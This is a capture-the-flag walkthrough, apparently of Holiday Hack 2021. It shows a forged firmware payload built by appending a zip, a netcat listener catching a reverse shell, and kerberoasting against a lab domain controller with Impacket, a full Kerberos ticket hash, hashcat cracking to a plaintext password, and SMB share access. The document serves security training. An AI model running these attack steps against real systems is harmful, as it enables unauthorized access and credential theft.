$ echo "504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c47199fbdf3d9e73a5e9fd384384ec09792480ee4ce97a4761d5a373edb67afd1c531a91dd45067b3f6ae7d47ef8f7bb747ec0022e0523815973e54a80fed0b79492590287d8107d4045b952a284a1e2a22419109a9e446a05e54885248bdccecceb7de99db6bca0bf0b09f74fbdbef9bef3733fbcdec7ad63bdfb712c9619f2020103f7a14116d3c64e9fdd47ee688ed826dbda8091f3f833e8deab15ee7f0e331e5633168b763f12e523b8fbb118b8203eb506d391360118536790187cee35b028b4e9ed95e98da394c092c3a792436eb114b5fef6351a2d739ee63793ecabb437977fa585c13588478d6d1df2aad8fc721c422c470fc5d5d25e77be9f5f0f8086211785fc2bc7af4c905c27d82b6572b2e6d3e1621ac5d99f474cf835d19359249e74a0b9185de9e48cf83d1623e7ac8ec5388fa8e8c4d9afe647e416849f9366a23e577cffea8f9adb7f7bc240cb584065f3b25567efb97eb1077183784be6d1ee11aaf6abfcb7edcf591ee875dec4df8b7d5c5de51c3fe788d7a5235ece4ba1f70eb108ed70c094f0f9a2fe94524cb330b8a3c9bce2999f4390daba45c2eea4a4197b34a3a874692a30383f2a1e8a168379247278ec9aa56d0e6d2455d2b4c1c1bcce473da84329d21ccb96c3e4799b2e5eaea48c447c7c087e32a98b18579506a4f3712fb41aac3f8c37c8eb55a58e1ec155a41673f6b07fdda510b612c41d61c76bfc3beeeb03b9f2b15873de0b0df71d89df3bf8db6df8036e79d279e78e289279e78e289279efcbf89b4f4d7a0f46ce09d2e7cfadd4bbacfb8222dad0657ec72a3fb3a2e32f6ddc0c7968e7e7c4674f23682de5b33b0ecfb39d6679f07ff837f1b2d5f3d2d95af4b4b372ae313c9e5c029bc0c97969b3f208d2df75d26756e9fc59cbfb7740c99a65748dbcb811f13387247df8ebbf328ed4ea3b1d6d2719ed4bb4211fb2f9afedd0502fb37a4cb1b7ea95c912eaf1f958437a4ab1bfa365cc1765a41d0589b35db01fef9be23b80895ba26a5a5bedb515263f95d7d8bf46c5f7b17792bc557b49ec2873702ad5817a656b8f6dffb3a2e9cc41c1cb850f99b77a572a982fbf44b1193d7360ce317c4e9cd15dce8d3663ce25f1e2dff3e7e72b47c3b3e192f7f14c711d9377f00a149693942f0b1e47e525570bd88c9d2e58ffcfaae837f68e940c9f23f93e5db43e5f7e3c6b63f4a4b2b8274e49dd24d32365f998a3f119f8a9f8ecbb84f6805c69019354f3cf1c4134f3cf1c4134f3cf1c4134f3c6145403e349c2e64cf2a052d9c2e86674b99cc62b8341fd6f36155d1b53dc46797ffe15e647defbafbbe619037dbdd15c3f809c603182730b6de328c558c8f60bc81f1258c0704ebbbabd9ceb91348580809bbb634049f171a42c44ebeed5fc1f57dded11f777f84f652ff79ec1f260e6268586cfb624bd3d9e07974b4fde1cf1ddefb00f0c937ee14f60b3aea25dc27f02f81fb6b3ac6c5d033bec1e6fa29dc00e57c03ffc671f914291f10433ff425c4b6e7fc0931bc5c97103b7f1090c4d833f592d8bbd43022f67f55ec8d8bb1b8d839208607c436ec3f2006cdef9b240e295c8ff3fba3279e78e289279e78e289279e78e2c97f4becfd948efdc94edc028eb4bc99aaab94b793eab04f7317d5e11dab9d22ecd7dccd95ff63c3c89b3add7c097b2aaf511df652c6a87e1fd5bf43b189621bc5ed88157b4f67bf05b00713fce1bdb281e20e8a5280b57fbf8eedf7258a8d5c7dff32aceb01d70daaa728dfa03ac4b742f553b4fc43aa3bf7a2fe2f04f695f3d2136275d85f3b3238f88570e790369d5672e1dee8e1682cd2b3df3ab9675b7e1c8d8b2e9b63fd78b4565ded7e74c3d55e67cf23d61eb0e70f6bafb7e7196b6fb0c783b507ed7164ed8df6fc60edf7d9f388b5376d6e7866ec5b50d8d5de8cfa5deda29d8fc1da5becfb93b5875c378bfb51abbdaf9fb56f45675cedf7dbf73b6bdf66dfe7ac7dbbeb7cf2a34fd9fbb259fb8ecd4411c6de86c2aef69d28e66a6fafb259791bb70cde4e9e733e1ccff35c3c456aff1967df43ed15cefe90d9c6667fe03e1f36cfabe393a5f5c4b8f15a34fdabe3fc628dfed7baae0b66d956a4eee14bdcfd5f358ff757f5f3d7663dd5e3f81beacff7f34fe6b17a5edd32eba91edf9f0a240ed5f7458340f221447489c607e2b94370cf7bc89af6ea79725870cfab4808a4c9b6aaf9d34afc7dd5f751b2463d4fd27af876176af4f37bd8deea6bb39f9f202f10bbe33e85c7ca051a8733b43f53d4fe2b44dadd897ab97a9ea2fef07c80ffa5be2658fefcf5be4efdbb69fd903bb24afbc9fb5fa9715d37851a79273305bda8976667a33368338344d6b3f20c490d2189286a5e9ecbe4a7958caceaf94251564a0b68269f9dcf68baa6461f3a7ca8dbdd8964afa465a5505016652da71716d16c41c96ab25aca661731c5a1c9d853675de9ffb871b76479f844fc58424e8c0d910416d65745f2d0e363f163a3836c8999ef824d2363937242a235484327903c923c3e104fcac787871f4b4cc813f181644286fc9a9962c9ecf5c766d490fc9cfe7e26ff4653155da94ed2e1bc64e265f78c4dcb91d5625e4e293995a4ec8c1ec7056a3a27978a9aeaec1bb940ac4f178bb41a3315489671ff203c35f37bd88c22b66b285a5ccceaca3446bd60610aced2395cd33c8ae6f2ba168d0f8c4674658e6a73b95274ba94cea891b48a4c2da5145328aa2ee6707d16ea05abe46b5aa198cee71845c665052da310477a369fd14993f832c969742e8f4f746d011fcd718916f266a8a35a8ace9f945ad8d42caa35052c069ce316946c7a06911aad46ac7a70285114cfe62c9e766eb7c77f2a649d4d9e85b00caa952709c27f73f82c627392f8bcc030e7cf2f6f0e727c588f01eebd079f7c57b98dd7bac087751b20f061f9e4fc6643640c596b7fe0c3fa0ef022b543be17f0619d7e12b1b980b00e0484f70b103e7ea791b596073eac170145aeff3e0e9f44d6bb01e8b0ae040cd7e83fc83964c514f8b0fe04bcc4b5cf5fffd3943f407558a702821f5177b8f09f43ce9c485495370bef5120fcf897393eac7b6de4fcf9f4dc17383eac8f01f97805397c99e3c3df49c0a7b801e797d917383eac13001b397ffefa5f41ecfdcbe70ff37f4379feab1cbf567e6e2dfeeb1c1fd6f98041eefaf978be89ac390eaf4f76be6ec4dd9f8fffdbf8d7e2e0c37ab3f209f97f466ccea69d0f4df990075dcff1601cc93a5a70f0e13de45a97859df768ff26c7b7d7b3f475377c0ffe071c1fd68de118db4f9e0ff221b5011fd667b198bb3ffffcdaa036feed1cf8b5fe7e38d12d9f751c2aacdfac2782aa9f1f8d8ebe33fc1e4ae72ae7fbdf5a837fb2d7c2068ec0f3ff0d504b01021e03140000000800d8a5865316a0a8f06a090000e04000000c0018000000000000000000ed81000000006669726d776172652e62696e5554050003b876ae6175780b000104000000000400000000504b0506000000000100010052000000b00900000000800000000000000000000000000000000000000000005140504b0304140000000800839d2a54c3b1305333000000350000000c001c006669726d776172652e62696e5554090003858cdc61528fdc6175780b000104e803000004e80300005356d44fcaccd34f4a2ccee0e2e202510aba990a766a0afa29a965fa25c905fa8646e67a064068a86f6262ac6060a766c80500504b01021e03140000000800839d2a54c3b1305333000000350000000c0018000000000001000000ed81000000006669726d776172652e62696e5554050003858cdc6175780b000104e803000004e8030000504b0506000000000100010052000000790000000000" | xxd -r -p | base64 -w0

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

New json file.

{"firmware":"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","signature":"e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23","secret_length":16,"algorithm":"SHA256"}

Catch it.

$ sudo nc -vnlp 443
Connection from [redacted]:55308
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
app@hhc21-printer-v2:/app$ whoami
whoami
app
app@hhc21-printer-v2:/app$ cat /var/spool/printer.log
cat /var/spool/printer.log
Documents queued for printing
=============================

Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx

Answer: Troll_Pay_Chart.xlsx


Objective 8 - Kerberoasting on an Open Fire

Obtain the secret sleigh research document from the Elf University domain controller. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa’s office for hints.

Hints obtained at: HoHo … No - Eve Snowshoes

Another kind of long one, I’m just going to quickly run through my steps. First, we register for an ElfU account on the ElfU portal that is public-facing and provided. Once you register you are provided with a username and password as well as a notification that you may use your account to access the grading system over ssh.

Note: this comment was found in the source of ElfU registration page and it seemed out of place so I am saving it.

 <!-- Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021, 
            v0calprezents, Hexatonics, and reindeers4fears. Wow, good times! -->

Log into the grades system, and then break out of your python shell as follows.

We know from our objective description that we are looking for a domain controller.

lzzyduihov@grades:~$ hostname
grades.elfu.local

A quick scan of our domain.

lzzyduihov@grades:~$ nmap -Pn elfu.local
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-10 20:34 UTC
Nmap scan report for elfu.local (10.128.1.53)
Host is up (0.00076s latency).
rDNS record for 10.128.1.53: hhc21-windows-dc.c.holidayhack2021.internal
Not shown: 988 filtered ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 4.25 seconds

Checking to see if there are any SPNs we can retreive with our AD creds.

lzzyduihov@grades:~$ GetUserSPNs.py elfu.local/lzzyduihov:Ownimuxdf# -outputfile krb
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon                   Delegation
-----------------------------------  --------  --------  --------------------------  --------------------------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  2021-12-12 13:10:45.203181
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  2021-12-12 13:10:45.203181
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  2021-12-12 13:10:45.203181
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  2021-12-12 13:10:45.203181


lzzyduihov@grades:~$ cat krb
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$bc45873c2ddd345de8715f737f26d87a$3e66e996f96cde37fb51354bc3400fa9cf180c0dfbec5db8c06ff1f737e4da8c2f837b2247dbbc9e25a8a29a2489a11f9119986463fa1841127329ef572bd0a2a32be93f2c05c5cec98e1d30cebb6ebc0fd9a8eec4c6a3ed4d8a0e1bdc38105e2bf8f5590b49f577ea99fe0f49fa2ce3a90b3053ec0049e1cee7eeca1e4a8139c3601129dcf1499d7f4d90623525327af3593b972c3a8a55f4beba9573bdf007bba0d30999cab09d19d44669fa208857d6d5fd8678ce4af97384d2449bc91cf41722dccf8bc19d6af44202431c3f8229c30daf8a0f10684afa5bd9a547b71334cde83efbdcad5585e7500a513a9895a1b12f23e8fa4caf3d6c09ebe6aaae62ff9870a214ad83ece8da7d8f0b4f641ad2dceae2bc44e74f1ea4e59f27b11aafe31182c74360f9de539c5ffbfa56f001b8d4737e7791eedbcd59ef1805082c5b00ed65fda7c414454b79d0808adb997bea05e9b92bafef08508bd4fe236595d67904ad74807a17d4490b665974cde9277dc8c178f07d0419e9d57da6a39cc76410c9217fe435c68617ebec7db38c488c951a7b7c3d3ec5b3e56a52898c4e7b17e074a251ae6fca21c7b511e1b6c773f07ad9cde23f68a674f2604656aae8f6e7c2d08dd4d4204a330d3020784c10e670e072700c389a3ff678703b902c0985dab66e48897ae904ff568164e38a9ca46a04dee7332ed8c166e21aff2b6b2b1b46e1e219f78aca1edd463563fea63b9d2105696df42f02e072433c2e3017b1aa6c8ea560c82cd2d28f266e4549bd4114c301d7b087a80a5e8f09f31261ae56cb8e6143cade2c583c77e936d703f39a86a93750365fc38f4deb846b266b9a24a2f00739df0c4ef9ab6b3ea79cb6dd88edc27e7808565a37786c4688dbd653621ae17ec7a5d4ad9cb2f3917ddf06bdb9b43bb172bf703d69765f4f62f14d16b47183b3f50cd1b4f1880cbfe41d691cc2c298e43ddbf0b1fa1de827f09362427c5f20537268e30af29ae2421df951578d85b891f169087d94701262dabcf03de8803e812221e8e2d39a2b6b2805c479bf84fce06730705438ba9c6cd750d80c2676d4593c21a4f0465237d0b6421fff0058482c6c1fc618a1a092b1386f4cc71985ede2ef61b78079ac631d426874d6785b1b7818a7a048b3e6002350a3d6d993ff042e1b6244c4a5d9a313e05459af1268b877765f7b4b74b2ad02f3448c1f8ef86b290d8dadf35eb6bab5294e00513fd6697856cbdf2c4cfc3b3fcdc2d88e63c6424db1c1c2b17348a8686f5cc1d4c25a773ae1c8d65c8f14c646b0a05fc1fdf48e244806dd1fad178256b53b8aed001feadd34b365409efee09b91f7361017537a178187ec4a4f7bbb63d2bb7976aaa570d4d1b9f9957d5bc9561b3a1ef4fedcb4a0599306ccbc778b88f9a21c37f3b286c4088fd4be74a26d87360cbd83416c0862939008323a

After some fumbling, I eventually remembered the strange comment on the ElfU registration page source code. I made a quick wordlist out of that finding and ran hashcat one more time with the oneruletorulethemall.rule and retrieved a password for the elfu_svc account.

$ hashcat -m 13100 -a 0 ./krb --potfile-disable -r ./oneruletorulethemall.rule --force -O -w 4 ./pwds

...cut...
elfu_svc:Snow2021!
...cut...

Using the elfu_svc account to dig around smb shares. This was not a quick process, I spent a lot of time digging against the DC without any results. Eventually, I took a step back and looked for other smb shares on the network and found this one.

lzzyduihov@grades:~$ smbclient -U elfu_svc \\\\172.17.0.3\\elfu_svc_shr
Enter WORKGROUP\elfu_svc's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Sun Dec 12 08:01:44 2021
  Get-NavArtifactUrl.ps1              N     2018  Wed Oct 27 19:12:43 2021
  Get-WorkingDirectory.ps1            N      188  Wed Oct 27 19:12:43 2021
  Stop-EtwTraceCapture.ps1            N      924  Wed Oct 27 19:12:43 2021
  create-knownissue-function.ps1      N     2104  Wed Oct 27 19:12:43 2021
  PsTestFunctions.ps1                 N    52454  Wed Oct 27 19:12:43 2021
  StoreIngestionApplicationApi.ps1      N   108517  Wed Oct 27 19:12:43 2021
  Compile-ObjectsInNavContainer.ps1      N     4431  Wed Oct 27 19:12:43 2021
  Run-ConnectionTestToNavContainer.ps1      N    13856  Wed Oct 27 19:12:43 2021
  StoreIngestionIapApi.ps1            N    80725  Wed Oct 27 19:12:43 2021
  Test-SdnKnownIssue.ps1              N     4384  Wed Oct 27 19:12:43 2021
  Setup-TraefikContainerForNavContainers.ps1      N     9184  Wed Oct 27 19:12:43 2021
  Get-NavContainerPlatformVersion.ps1      N     1640  Wed Oct 27 19:12:43 2021
  New-NavContainerWizard.ps1          N      926  Wed Oct 27 19:12:43 2021
  ContainerHandling.ps1               N     1392  Wed Oct 27 19:12:43 2021
  Get-NavContainerPath.ps1            N     2406  Wed Oct 27 19:12:43 2021
